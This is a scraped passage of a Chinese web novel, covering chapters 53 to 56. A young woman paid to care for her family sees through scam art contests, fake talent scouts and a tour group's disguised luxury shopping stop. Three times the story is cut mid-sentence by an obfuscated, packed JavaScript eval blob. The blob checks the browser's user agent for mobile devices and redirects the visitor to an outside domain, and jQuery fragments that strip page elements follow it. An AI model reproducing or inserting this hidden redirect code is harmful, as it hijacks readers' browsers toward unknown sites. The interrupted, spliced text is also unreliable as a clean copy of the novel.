常乐的心放下了,又没有完全放下。 她希望这小老太太只是随口一提,可千万别动了这个心思。 否则,她一个人,实在没办法同时拉住两头暴走的驴。 第二天,工作人员开始在微信上骚扰常乐了,从“亲,你考虑好了吗?”到“我们只剩下一个名额了,我先给你留着吧!”再到“下午六点前麻烦把培训费转过来哦,不然会面临超时罚款的。” 常乐翻了个白眼,手机一扔,懒得搭理他。 下午,林文娟要去学二胡,常乐将她送到培训班门外时,忽然心念一动,急忙下车,跟她一起走了进去。 钟煜正在跟前台小妹交代着什么事,转头见到她们,嘴角一扬,露出和煦的笑容。 常乐跟他打了个招呼,寒暄了几句,然后装作不经意地提起:“哦对了,钟老师,我妈要参加一个书法比赛,你能给她指点一下吗?” 钟煜觉得奇怪:“我是搞音乐的,不懂书法啊。” “琴棋书画是一家嘛。”常乐一手挽着林文娟,一手攥住钟煜的胳膊,暗戳戳地掐了他一下。 她脸上的笑意更浓了:“主办方让我妈参加一个什么大师班,说培训过后就能继续参加比赛了,我妈不放心,想过来咨询你的意见。” 钟煜不动声色地抽回胳膊,思索片刻,说:“你们跟我来。” 他走到墙角的绿植前,弯下腰,从垃圾桶里翻找出一张花花绿绿的宣传单。 “你们看。”他双手摊开宣传单,里头黏着一团粉色的口香糖。 常乐和林文娟:“……” “不好意思!”前台小妹急忙道歉,“这是我扔的,当时抽纸用完了,我就随手拿了张纸……” 钟煜抬起手,制止了她。 “这不是重点。”他看着常乐和林文娟,“你们看,这样的宣传单,我每周都能收到一沓,都是各种不知名的小公司组织的比赛,想让我的学生报名。他们还想跟我合作,让我推荐学生参加,一个人给我一百。” 常乐和林文娟都凑了过来,细看上面的宣传语。 什么“选拔未来的文艺之星”,什么“接受电视台采访”,什么“有机会登上更大的舞台”…… 钟煜不紧不慢地说:“这种套路我见得多了,其实都是骗钱的。他们就是抓住了家长望子成龙的心理,一步一步引诱你交钱、比赛、继续交钱,最后,花钱最多的那个获得冠军。你说这有什么意义?” 常乐心中暗爽,用余光瞟着林文娟,欣赏她脸上的表情。 钟煜将宣传单揉成一团,抛进垃圾桶里,总结道:“不管是书法还是二胡,想学就沉下心来学,没必要追求这种虚名,浪费时间又浪费钱。” 林文娟脸色有些尴尬,心有余悸道:“钟老师,还好你提醒了我,不然我就要上当受骗了。” 常乐缓缓转过头,瞪着她,一脸无语。 怎么着,是我没拦你,还是姥姥没劝你? 合着我们说的话都是噪音污染,只有你敬爱的钟老师说的话,才是金玉良言? 林文娟脸色讪讪的,嘴硬道:“瞪我干嘛?你不也是这样?你小时候差点被骗,我怎么劝都不听,还得找你们老师帮忙才拉住你,你忘了?” 每次想起那件事,常乐都会尴尬得脚趾抠地。 刚上初中那年,有次周末,她跟同学在街上溜达,遇到一个身穿职业装的女人。 女人一个劲儿地夸她皮肤又白又嫩,适合拍护肤品的广告,但前提是她得先买一套,回家用一段时间才行。 一套护肤品要六百多,常乐和同学翻遍了钱包,也只能凑够二十块。 女人很失望,正要离开,常乐拉住她,信誓旦旦地保证,自己会找父母要钱,还约她明天在同一时间同一地点见面。 常乐飞奔回家,兴奋地告诉家人这个喜讯,结果每个人都在泼她冷水。 姥姥调侃道:“哦哟哟,我们家要出大明星喽。” 姥爷一脸严肃地说:“一听就是骗你的,别信。” 林文娟没好气道:“什么国际大牌护肤品,要这么贵?我所有的加起来也才一百多,你一套就要六百?” 常建民好心劝道:“你要是想护肤,我的大宝还剩半瓶,给你用吧。” 常乐哇地一声哭了出来:“重点是护肤品吗?是拍广告!只要六百块,我就能去拍广告、上电视、当明星!这么好的机会,你们居然都不支持我!我不管,你们不给,我就去借!” 林文娟翻了个白眼,抄起扫帚,把她赶进了卧室。 “做什么春秋大梦呢!作业做完了吗你?” 常乐哭闹了好几天,吵得全家都不得安生。 后来,林文娟带常乐去小学门口溜达,假装偶遇她的小学音乐老师——全家都知道,音乐老师是她的童年女神,又漂亮又温柔又有才华——林文娟故作不经意地提起常乐要拍广告的事,音乐老师忍不住笑了。 她告诉常乐,这种事她遇到过很多次,要么是被星探挖掘去拍戏,要么是被洗发水推销员建议去拍洗发水广告,还有个西装革履的男人,极力邀请她去大公司当公关。 而且上周,她也在同一地点遇到了这个卖护肤品的女人,听到的话术都一模一样。 “那你怎么不去啊?” 常乐心想,老师应该不缺这六百块钱吧? 音乐老师笑道:“因为他们都是骗子啊。第一个星探让我交一千块的包装费,第二个推销员让我办一张美容美发卡,第三个更可怕,上班地点居然是一家会所……” “咳咳!”林文娟紧急插话,“所以说,天上不会掉馅饼,但地上处处是陷阱。” 常乐愣愣地看着音乐老师,第一次体会到了什么叫自惭形秽。 老师长得那么好看,而自己,除了皮肤白点儿,没有半点优势。那个卖护肤品的女人得多眼瞎,才会找自己拍广告啊。 这场闹剧就此结束。 常乐辩解道:“我那时候正值中二期,偶尔犯点蠢,不是很正常嘛。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886142|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林文娟撇了撇嘴,“那又怎么样?智商这种东西,是从娘胎里带出来的,咱俩水平相当,谁也别笑话谁。” 有其母必有其女,这一点,在祖孙三代身上得到了很好的验证。 林文娟的事就此结束。常乐把那个工作人员臭骂了一顿,然后果断拉黑,不给他还嘴的机会。 -- 很快到了周末,常乐又跟着常建民去了山里。 最近气温回升,马蜂开始猖獗起来,有家蜂农的蜂箱被马蜂啃了个窟窿,一箱蜜蜂被咬死大半。 父女俩驱车赶到时,方凛已经在整理装备了。这次的流程,依旧是先用新鲜的猪肉引诱马蜂,然后在一只马蜂腰上系上渔线,尾端系着一片羽毛,最后用无人机跟踪,找到马蜂窝。 经过几次实践后,常乐对无人机的操控已经很熟练了。无人机尾随在那只带路的马蜂后面,钻进了一片密林里。 三个人话不多说,扛着各自的装备就上路了。 在树林里,常乐跟方凛提起自己偶遇方煦的事。 “哦,这事我知道。”方凛牵唇一笑,“那些鸡蛋还是我帮忙卤的。前一天晚上卤好,保温浸泡一夜,第二天早上装袋,挺方便的。” 常乐惊得半天说不出话。 谁能想到,这么鲜香入味的卤鸡蛋,居然是出自一个,呃……憨憨糙糙的直男之手。 “可是……”常乐迟疑了下,忍不住提醒他,“方煦好不容易回到学校,做这些事,不会耽误学习吗?” 方凛语气有些无奈:“他休学几年才回去,很难进入学习状态。我也没指望他基因突变,成为学霸,只希望他把该念的书念完,不要荒废青春。” 常乐若有所思道:“不是每个人都擅长学习的,我觉得他还挺有生意头脑的,早起半小时去排队,就能赚六十呢,比好多打工人都强。” “赚钱倒是其次。”方凛似乎想到什么,脸上笑意渐浓,“他现在跟同学处得挺不错,有些学霸同学还主动给他补课,就怕他跟不上进度,一言不合又退学,以后就没人给他们带早餐了。” 常乐哈哈大笑起来。 “还有这种好事?这小子运气不错啊。” 方凛也笑起来,“是啊,人只要肯行动起来,总会有好事发生的。” 今天的工作进展得很顺利。方凛在一处腐烂的树根底下挖出一个巨大的马蜂窝,三个人各司其职,很快将马蜂残党一网打尽。 离开时,方凛送给常乐两罐蜂蜜。他说是蜂农送的,新鲜酿造的槐花蜜,市面上很难买到这么纯天然的。 回去的路上,常建民开着车,不时瞥一眼常乐,几次欲言又止。 快要驶进城区时,他终于开口:“我看到方师傅给人家钱了。” 这话说得没头没尾的,常乐听不明白:“他不是来帮忙的吗?不收费就算了,还要倒贴钱?” 常建民啧了一声,话里有话:“我说的是蜂蜜。这不是蜂农送的,是方师傅花钱买的。” “啊?”常乐更糊涂了,“多少钱啊?” 他爸突然说这个,该不会是觉得她占了方凛的便宜吧? “哎……这不是重点!” 常建民真是无语了,自家女儿怎么这么不开窍,脑子里整天只有吃吃吃、玩玩玩、钱钱钱。 “我的意思是,”他缓了缓语气,继续暗示道,“这是人家的一片心意。” 常乐低头看着怀中的两罐蜂蜜,色泽微黄,清透如水,里面浮动着细小的气泡。即使拧紧了瓶盖,依旧能闻到一股淡淡的清甜。 方凛的脸慢慢浮现在眼前。 他赚钱也不容易,每天翻山越岭,晒得乌漆嘛黑,还得养个高中生弟弟,处处要用钱…… 常乐心想,还是直接给他转钱吧。 54. 54 日子就这么平淡地过去,不知不觉间,常乐成为全职女儿已经三个月了。 这天晚上,全家在餐桌上给她算工资。 基本工资加上绩效还是五千多,但是从这个月起,她要交灵活就业医保,所以得扣除350元。 常建民在手机里翻出账单,说:“这个月的油钱六百多,也从你工资里面扣。” “什么?”常乐大惊失色。 林文娟振振有词:“你给我们当司机,我们付你车费,油钱当然得你掏了。没听说过打车还得另付司机油钱的。” 其他人纷纷点头,表示赞同。 林文娟继续说:“而且,这车还是我们买的呢,我们没跟你要车租,已经很讲情面了。” “对啊。”常建民附和道,“你一分钱没投入,每个月还能白得四千多,已经很不错了。” 常乐悻悻地闭上嘴。 她怕再争论下去,这抠门的两口子又给她找出一堆扣钱的理由。 四千多也不错,她自我安慰道,加上前两个月的工资,和讨回来的薪水,她的存款已经高达两万多,离财富自由的小目标又近了一步。 -- 小奶狗也满三个月了。常乐送它们打完疫苗后,挑了一只最壮的给易诚送去。 “这是老大吧?”易诚双手端着小狗,掂了掂,感觉再过几个月,它这体型就能赶得上它爸了。 常乐坦言道:“我也不知道它算老几,出生的时候忘记做标记了。但它个头最大,能吃能睡,又喜欢跟其它几只干架,所以就默认它是老大了。” 易诚把小狗高高举起,欣赏了一番,又问:“取名字了吗?” “叫柯牧一。” “啥?” “柯基和边牧的串儿嘛,正好四只。”常乐解释完,又想到什么,“柯牧四我送给同事了,现在家里还剩柯牧二和柯牧三。” 易诚笑侃道:“最难的两科,留给了自己。” 还剩两只小奶狗,常乐原本打算自己养,但钟煜估计是在林文娟的朋友圈里看到了小奶狗的视频,一眼心动。趁着常乐来接林文娟时,他把她拉到一旁,提出想花钱买一只。 常乐思忖片刻,故作矜持地说:“谈钱就俗了——” 钟煜迅速接话:“我免费送你妈十节课。” “……”常乐咽了咽唾沫,“可以。还有件事,想找你帮忙。” 钟煜两眼放光,“你说。” 常乐左右各看一眼,确认周围没有人后,压低声音问他:“你们培训班,有没有那种结实、抗摔的小孩?”? “你想干啥?”钟煜眼神瞬间警惕起来,“组织小学生打群架啊?” 常乐白了他一眼,吹嘘道:“我还需要组织吗?我一个人能干到一个班!” 钟煜憋住笑,“那你到底要干嘛?” 常乐言归正传:“我有个朋友是教轮滑的,我想帮他拓展一下生源嘛。” 钟煜微微蹙眉,想了想,说:“有倒是有,不过,学生的课外时间是有限的,学了轮滑,就没时间学二胡了。” “哎呀,别那么小气嘛。”常乐用胳膊肘捅捅他,“二者又不冲突,文体结合,才能全面发展嘛。” 钟煜犹豫道:“万一他们把手摔断了——” 常乐打断他:“所以要找那些身体素质好的苗子嘛。” 她掏出手机,找出小奶狗的萌照,放大给他看:“你想要哪只?” -- 这段时间,除了家里少了两只生物外,常乐的生活并没有太大的改变。 她白天奔波于接送林文娟的路上,还得抽空帮姥爷拍视频、剪视频、回复粉丝留言,晚上陪他做直播。直播间人气不高,常乐便怂恿姥爷去和别人连线打PK。 打PK的好处是能被更多人看到,抓住机会还能快速涨粉。但坏处是,对面什么牛鬼蛇神都有,有写书法要把身体扭成S型的中年少妇,有自言自语的呆萌大学生,有满嘴脏话的游戏主播…… 有次,姥爷连线上了一个毒舌男情感博主,对方一上来就把姥爷一顿嘲讽,把他气得不行,捂着胸口直骂“世风日下,人心不古”,惋惜尊老爱幼的美好品质在当今互联网已经荡然无存。 还有一次,他连线上了一个帅哥,连忙喊来常乐观摩。 常乐眼前一亮,哦哟,帅哥是真帅,乍一看神似某个明星,而且对方似乎没开滤镜和美颜。 常乐点进对方主页,十几万粉丝,算是个小网红了。 更重要的是,对方还挺有礼貌,一口一个“爷爷”地叫着,还不时鞠躬,搞得姥爷怪不好意思的。 姥爷笑呵呵地说:“小兄弟真是仪表堂堂、气度不凡啊,跟我年轻的时候长得很像。” 常乐:“……” 姥爷你真是飘了。 对方客气地说:“那我们真是有缘分,要不互相点个关注吧?” 虽然这场PK,姥爷毫无悬念地输了,但他成功蹭到了小网红的热度,涨了一千多新粉,收获颇丰。 周末,常乐还得陪常建民进山。除了捅马蜂窝,他最近又迷上了采蘑菇,方凛教他们识别什么蘑菇可以吃,在哪里可以采到,还借用附近农户家的厨房,给他们做了一锅鲜美的丛菇汤。 又是一场雨后,常建民和常乐去了郊区的青云山,采回满满一袋蘑菇。 带回家,姥姥只瞥了一眼,就全扔进了垃圾桶。 “我小时候,村里有一家人就是吃蘑菇死的。”她一脸严肃地说,“所以我从不冒这个险。” 常乐觉得委屈,辩解道:“上次我们就吃了,什么事都没有。” 姥姥不信:“上次也是你们俩采的?” “有个师傅带路。”常建民自信满满地说,“但是,我们知道丛菇长啥样。” “是吗?”姥姥弯腰拿起垃圾桶,从里面挑出几朵蘑菇,在桌上一一摆开,“睁开你们的狗眼看看,这几个长得一样吗?” 常乐和常建民俯下身,仔细查看,一时面面相觑。 常乐迅速甩锅:“这些不是我采的。” 常建民:“……” 姥姥板着脸训斥道:“两个四体不勤五谷不分的书呆子,连野菜都认不出来,还敢吃野生蘑菇?赶紧去洗手!” -- 不过,英明睿智如姥姥,也有绕不过去的坑。 这天,她找到常乐,神秘兮兮地问她,怎么办护照。 常乐立刻警惕起来:“干嘛?你要出国打工啊?” “没有,老孙说她们要报那个新马泰七日游,月底出发,让我也一起去。”姥姥一脸憧憬,“现在去办护照还来得及吗?” 常乐斩钉截铁道:“来不及!” 姥姥的笑容转瞬即逝,变成深深的失望。 常乐好言相劝:“姥,你在国内旅游,遇到点什么事还能报警处理。在国外语言不通,万一导游把你卖了,你找谁哭去?” 姥姥不屑道:“我都这把年纪了,能卖几个钱?你不要总是把人想得那么坏!” 常乐一时气急:“之前那个导游不坏吗?每天都要去几个购物点,不买东西就各种羞辱、威胁、阴阳怪气……我可不想再跟这种人打交道了。” 姥姥固执己见:“那是在国内,他们有后台,在国外肯定不敢这么猖狂。” 常乐:“……” 她懒得再跟姥姥争辩,直接把这事告诉了林文娟。 林文娟皱起眉头,思索片刻,说:“这事儿我来搞定。” 当天晚上,吃晚饭时,林文娟假装不经意地提起,现在油菜花开得正好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890155|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她书法班里有个同学,跟老伴儿报了个团,去婺村看油菜花,拍的照片可美了。 姥姥不感兴趣:“油菜花有什么看头?我农村人,从小看到大。” 林文娟补充道:“去完婺村再去陶镇,可以逛陶瓷市场,学习做陶艺。” “没意思。”姥姥摆摆手,“要去你去,反正我不去。” 林文娟掏出手机,打开朋友圈,找出几张照片给她看:“我同学说,他们住的是徽式建筑的民宿,吃的是本地特色菜,而且特别划算,三天两晚,才199!” 姥姥眯着眼,翻看手机上的照片,过了会儿才反应过来:“多少?” 常乐和林文娟对视一眼。 有戏! 林文娟拿回手机,说:“最近的一个团,是这周五出发,你要是想去,我就给你和乐宝报个名。” 常乐:“?!” 她使劲给林文娟使眼色,被她一个眼刀给打了回来。 吃过晚饭,常乐偷偷将林文娟拉进卧室,愁眉苦脸地说:“妈,怎么又要我去啊?我真的不想再遭这个罪了。” 林文娟:“你忍心让你姥姥一个人去?” 常乐:“不是还有你们吗?我已经去过一次了,这个宝贵的机会,就留给你们吧。” 林文娟:“这个团周五就要出发,我跟你爸都没空,你姥爷又不爱出远门。再说了,照顾姥姥是你的份内工作,别总想着推卸责任。” 常乐一想到又要坐大巴车,屁股就开始隐隐作痛。 林文娟安慰她:“你放心,才三天两夜,不会很辛苦的。” 回想起上次的黑暗经历,常乐重重地叹了口气:“主要是心累。每天早出晚归,一天也去不了几个景点,全安排在购物环节了。还得跟导游斗智斗勇,简直是花钱买罪受。” 林文娟揽着她的肩,脑袋凑过来,压低声音说:“我骗你姥姥的,这个团不是199,是1199,吃的住的都很好。而且是纯玩团,没有购物环节,没有隐形消费。”她望着常乐,挑眉一笑,“这下你放心了吧?” 常乐震惊地看着她。 “等等,你是说……去江西玩三天,要一千二?” 确定是江西,而不是川西滇西广西?跟她的家乡接壤、一脚油门就能到的江西? 林文娟拍拍她的肩,“贵有贵的道理嘛。” 常乐忿忿不平:“还不如把这钱给我,两个人两千四,我能带姥姥环游江西一星期!” -- 周五早上七点半,常乐和姥姥吃过早饭,在小区门口等着上车。 对这个时间安排,常乐还算满意,总算不用起早贪黑当特种兵了。据林文娟介绍,大巴车去婺村只需要四个半小时,也就是说,中午十二点,她们就能吃上饭了。 大巴车准时到达。常乐和姥姥把身份证交给导游,各自领了一袋零食和矿泉水,登上了大巴车。 车上已经坐了不少人。她们沿着过道往后走,终于找到一排空座。 正要坐下时,前排一个年轻人摘下耳机,缓缓转过头。 常乐与他四目相对。 “好巧啊。”钟煜咧嘴一笑,“你也报了这个团?” “呃……嗯。” 常乐愣愣地点头,心想,看你年纪轻轻的,生活方式还挺复古啊。 钟煜似乎猜到她的心思,解释道:“我是陪我妈来的。她早就想去婺村看油菜花了,正好有个学生跟我推荐了这个团,我就报名了。” 在他旁边,一个栗色卷发的中年女人转过头,冲常乐笑了笑,算是打了招呼。 常乐也回以微笑。 她再次看向钟煜,抚摸着下巴,摆出柯南破案时的招牌姿势。 “让我猜猜,你这个学生,该不会姓林,名文娟儿吧?” 55. 55 大巴车缓缓启动。常乐系好安全带后,掏出手机,给林文娟发了条微信: 【司马昭之心,路人皆知!】 林文娟很高冷地回了一句:【上课中,勿扰。】 跟上次铁腚直达厦城不同,这次车程只需四个半小时,常乐吃吃零食,睡个小觉,再看看窗外的风景,过得很悠闲自在。 这次的导游是个平头小伙子。他只是简单介绍了一下这三天的行程,就回到自己的座位,不再啰嗦。 前排有个大妈怂恿他表演节目,他也只是含蓄地摆摆手,表示车上有人在睡觉,请大家尽量保持安静。 常乐不禁感慨,贵确实有贵的道理啊,钱不仅能买人说话,还能买人闭嘴。 窗外出现了一大片饱和度极高的明黄,常乐搡了搡姥姥,示意她看:“油菜花到处都是嘛。” 姥姥瞥了一眼,断言:“肯定没有婺村的好看。” “你怎么知道?” “人家是景区,要收费的,跟免费的能一样吗?” 常乐哑然失笑。 中午,大巴车停在一家看上去挺正规的餐厅外面,常乐跟姥姥下了车,跟在导游的小旗子后面,找了张圆桌坐下。 不得不说,这餐饮标准也比之前那次高出太多了。有鱼有肉,量大管饱,大家的吃相也很优雅。 总之,常乐吃得还算满意,在心里默默给这个团加了分。 走出景区停车场后,一行人排着队乘坐索道上了山,算是正式进入了篁岭景区。 大片徽派建筑依山就势而建,粉墙黛瓦,错落有致,又有绿水青山环绕,令人赏心悦目。 常乐跟姥姥跟在导游身后,一边听他讲解,一边欣赏眼前的建筑。高大的马头墙,砖雕的门楼,石雕的廊柱,木雕的窗楹,处处透着古朴和精致。 姥姥怀念地说:“跟我的老家很像。” 常乐干笑两声,“你老家也有这么多人吗?” 狭窄的村道上挤满了游客,往前看,密密麻麻的人头,往后看,形形色色的人脸。 周围声音嘈杂,空气浑浊。常乐被簇拥着,推搡着,挤压着……原本挺美的风景,手机举起一看,全是黑压压的人头。 她瞬间没了拍照的兴致,只想找个清净的地方歇个脚,喘口气。 钟煜就站在常乐身后。她回头,他垂眸,两人对视一眼,都露出了苦笑。 “谁能想到,周五也这么多人呢?”他叹气道。 “是啊,大家都不上班吗?”常乐也很疑惑。 一想到那么多人都没有工作,她心中稍感安慰。但是又想到,这些人不上班还有钱出来玩,她又有点心塞。 村道两旁有不少小店,路过一家奶茶店时,常乐刚停下脚步,就被姥姥警觉地拽住胳膊。 “快走快走。”姥姥催促道。 常乐掏出手机,准备扫码点餐,“等会儿,我去买两杯奶茶。” 姥姥眉头一皱,板着脸说:“你忘了我们家的家训了?一分钱别花,什么都别买!” 常乐一边在手机上选奶茶,一边敷衍道:“今时不同往日嘛,我都赚了几个月的钱了,就不能享受享受吗?” 姥姥一把夺走她的手机,定睛一看,不由得发出惊呼:“一杯奶茶要28?我看你真是飘了!才赚几个钱就开始挥霍了?” 常乐试图夺回手机,“我点最便宜的,只要18。” “18也不行!”姥姥不由分说,将她的手机塞进自己的腰包里,“渴了就喝矿泉水,健康又便宜。” 常乐气得直哼哼。 “快跟上!”姥姥揪住她的袖子,大力往前拖,“导游都快没影儿了。” 在拥挤的人流中,导游在前面艰难地开路,一行人在后面紧紧跟随。 在一座观景桥上,他们看到了大片的油菜花梯田。可惜,油菜花已经开始凋谢了,不再呈现出明艳的黄,而是黄绿色块相间,颜色也黯淡了许多。 姥姥举起手机一顿拍,还连连赞叹。 常乐无语地瞟她一眼。 “姥,这跟路边的有什么区别?” “区别大了。”姥姥喜滋滋地说,“这得花钱。” ……听上去更像冤大头了。 常乐:“所以呢?” 姥姥一本正经道:“所以,这里不仅有美景,还能提供情绪价值啊。钱能买到快乐,懂吗?” 这小老太太,被消费主义洗脑得不轻啊。 常乐一脸幽怨道:“姥,那我刚刚想花18块钱买杯快乐,你怎么不乐意呢?” “因为,”姥姥的脸色瞬间冷了下来,威胁道,“它能让你快乐一时,但我会让你不快乐一天。” 常乐嘟哝道:“小气鬼。” 在导游的带领下,他们又沿着山路爬了十几分钟,到达了村子的最高点——晒工坊。 这里视野极好,村落远山尽收眼底。 不过景观虽好,想拍照还得排队。 常乐和姥姥被人群挤到角落,找了两个板凳坐下,看着排队的各种汉服美女发呆。 姥姥说:“我们村以前有块晒谷场,很大,夏天晚上会放电影,周围十里八乡的大人小孩都搬着小板凳来看,可热闹了。” 常乐的思绪也跟着姥姥回到了那个从未谋面的小乡村。她仿佛看到晒谷场上洒满了月光,乡亲们一边摇着蒲扇,一边唠着闲嗑,小孩们在板凳之间追赶嬉闹,田间传来低低的虫鸣声…… “姥姥,”她忍不住问,“你觉得,是过去好,还是现在好?” 姥姥笑了:“这还用比吗?当然是现在了。” 常乐托着腮,有些郁闷:“可是我觉得,现在年轻人的烦恼更多。” “烦恼多,是因为你的选择多。”姥姥一针见血地说,“你可以选择打工、考公、考研、做生意,也可以什么都不做,就当个社会闲散人员。你可以选择结婚、生孩子、丁克,或者一辈子不结婚。过去哪有那么多选择啊。” 常乐想了想,好像是这样。 搁过去,像她这种二十五岁不结婚也不上班的人,还不知道要被乡亲们编排成什么样呢。 “选择多,是因为社会更包容了,个人的自由度更大。”姥姥望着熙熙攘攘的人群,自语道,“所以说,还是现在好。虽然存在很多问题,但我们的生活,终究是越变越好了。” -- 晚上,旅行团被安排进一家徽派建筑的酒店内。房间装修得古色古香,打开雕花木窗,能看到古村的夜景,灯火璀璨,如梦似幻。 常乐再次感叹,这个团除了贵点,简直挑不出一丝毛病。 洗完澡后,她躺在床上跟林文娟发微信,怨气都消了许多。 林文娟:【怎么样,跟钟老师搭上话了吗?】 常乐呵笑一声:【抱歉,我在做我的份内工作,没时间跟男人打情骂俏。】 林文娟懒得回她了。 第二天,旅行团又去了几个景点打了个卡,然后就匆匆赶往陶镇了。 大巴车上,导游举着话筒,站在过道上,介绍道:“欢迎大家来到我们的千年瓷都——陶镇。我们将一起探索这座充满艺术气息的城市……” 常乐昏昏欲睡之际,忽然听到导游的声音高了八度,充满了激情:“我是土生土长的陶镇人,见证了陶瓷手艺不断推陈出新,今天,我们的一位世界著名的陶艺大师,将展出他的最新作品,我们旅行社也竭尽所能,帮大家争取到了这个参观的机会……” 常乐一下子清醒了。 购物环节,虽迟但到。 十分钟后,大巴车停在一栋工业风建筑的大门前,游客们陆陆续续下了车,常乐岿然不动,还拉着姥姥,用眼神暗示她别下去。 车门正要关闭时,司机发现车里还有两个人,立刻通知了导游。 导游急急忙忙上车,走到常乐和姥姥面前,问道:“怎么不下去呢?” 常乐捂着肚子,有气无力地说:“我可能吃坏肚子了,现在很难受……我想去厕所。” 导游似乎猜到她的心思,见招拆招道:“展厅里就有厕所啊,我带你进去吧。” 常乐摆摆手,“算了……我又不想拉肚子了。我在车上休息一会儿就好,你走吧,别管我了。” “那怎么能行呢?”导游掐着腰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894764|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神色冷淡,“司机也要下车,还要锁车门,关空调,万一你们在车里窒息了怎么办?” “不会的。”常乐指着最后一排,“那儿不是有两扇小窗嘛,可以透透气。” 导游此刻已经完全识破了她的小伎俩,语气多了几分威胁:“我是不可能把你们单独留在车里的。车里还有其他游客的行李,万一谁丢了什么东西,可都要赖在你们头上了。” 常乐:“……” 她在心里骂了句脏话。 无奈之下,常乐只好一路躬着腰,捂着肚子,在姥姥的搀扶下,蹒跚着下了车。 一行人被导游带入这个所谓的展厅。室内装修很简陋,摆满了置物架,架子上有各种陶瓷、玉器、根雕,甚至还有一堆锅具。 姥姥也发现了不对劲:“这大师涉猎挺广泛的啊。这人叫什么啊?真的是什么世界著名的陶艺大师吗?你在网上搜搜。” 常乐把她拉到角落,小声地说:“肯定是骗子啊。你没发现吗?这就是个隐形购物点。” “啊?”姥姥大惊,“不是说是纯玩团吗?” 常乐撇撇嘴,“我算是看明白了,天下乌鸦一般黑。” 一个复古风穿搭的中年大叔开始向旅行团介绍起自己辉煌的履历。常乐听得有些烦躁,找店员打听到洗手间的位置,就拉着姥姥进去了。 这里手机信号不好,连百度都打不开,根本没办法摸清那个大师的底细。 常乐在小隔间蹲了半个小时,估摸着外面的人应该逛得差不多了,便挽着姥姥出去了。 那位大叔还在絮絮叨叨讲个不停:“我的设计理念呢,融合了西方的巴洛克风格和日式的侘寂风……” 常乐翻了个白眼。 当她没文化吗?这两种风格完全是南辕北辙,是怎么融合到一起的? 她走到靠墙的置物架前,随意扫了一眼,看到一套花瓣形状的茶具还挺别致的。标签系在茶壶的把手上,她拿起一看,顿时瞠目结舌。 “姥,你帮我看看,这是小数点,还是个逗号?” 姥姥白她一眼,“你见过哪个小数点后面有三个零的?” 所以是,28,000? 常乐吓得缩起脖子,赶紧将茶壶放了回去。 她算是明白了,低价团只坑穷人,薅的都是小羊毛,而这种所谓的纯玩团,才是把他们当大肥羊宰啊。 旁边一个女店员笑盈盈地说:“如果喜欢可以带一套哦,不管是自己使用还是招待客人,都非常有格调。” 常乐呵呵干笑:“太贵了,买不起。” 女店员笑容依旧:“您可以报个价。没准儿大师心情好,觉得跟你有缘,就同意了呢?” 常乐佯装思索几秒后,一本正经地说:“那就抹个零吧,二十八。” 女店员的笑容瞬间凝固。 她的脸色冷了下来,语气也冷冰冰的:“请您尊重艺术。” 常乐直视着她,怼道:“也请你尊重我的智商。” 女店员翻了个白眼就走了。 身后传来一声闷笑。 常乐转过头,看到钟煜和他妈妈就在身后。钟煜笑着说了声“牛哇”,钟妈妈给她竖起了大拇指,夸道:“小姑娘真厉害。” 常乐不好意思地笑笑:“过奖过奖。” 脑海中飘过六个字:无他,唯手熟尔。 常乐注意到他们手上提着纸袋,担心地问:“你们没买什么东西吧?” “没有,这里标价虚高,傻子才会买呢。”钟煜从纸袋里掏出一个苹果,大口啃了起来,“晚上要去陶溪川集市,我们准备去那儿买。” “别光顾着自己吃啊。”钟妈妈拍了他一下,从纸袋里掏出两个大香蕉,递给常乐和姥姥一人一个,自己也拿起一根,开始剥皮。 这松弛感真是绝了。 常乐吃着香蕉,脑子里那根紧绷的弦也慢慢松了下来。 突然间,“哗啦啦——” 从角落里传来一串清晰的脆响。 一时间,所有说话声都戛然而止。大家循声望去,只见一个小男孩,蹲在一个倒地的花瓶前,嚎啕大哭起来。 56. 56 一个男店员大步走了过去,站在被打碎的花瓶前,面露愠色,瞪着这个小男孩。 其他人也陆续围了上去。 常乐赶紧拉着姥姥,快步走上前。只可惜,最佳吃瓜位置已经被抢占一空,她们只能绕到男店员身后,透过他的胳膊和置物架之间的缝隙,近距离观战。 趁着这边人少,常乐蹲下身,侧脸贴地,在置物架底下看来看去。 “找什么呢你?小心被人踩到。”姥姥轻踹她一脚。 常乐眼尖,刚刚在男店员冲到花瓶前的那一瞬,她分明看见他的右脚向外一拂,将什么东西踢进了置物架底部。 他的动作太精准了,不像是无意间碰到的。 置物架底下积了一层灰,她打开手机的灯光,由近到远搜寻一番,终于看到灰尘之上有一块凸状物,身后拖着一条清晰的轨迹。 她趴在地上,手探进去,很快摸到了那个东西。 是一片瓷器的碎片,白底蓝花,眼镜片大小,但弧度更大。 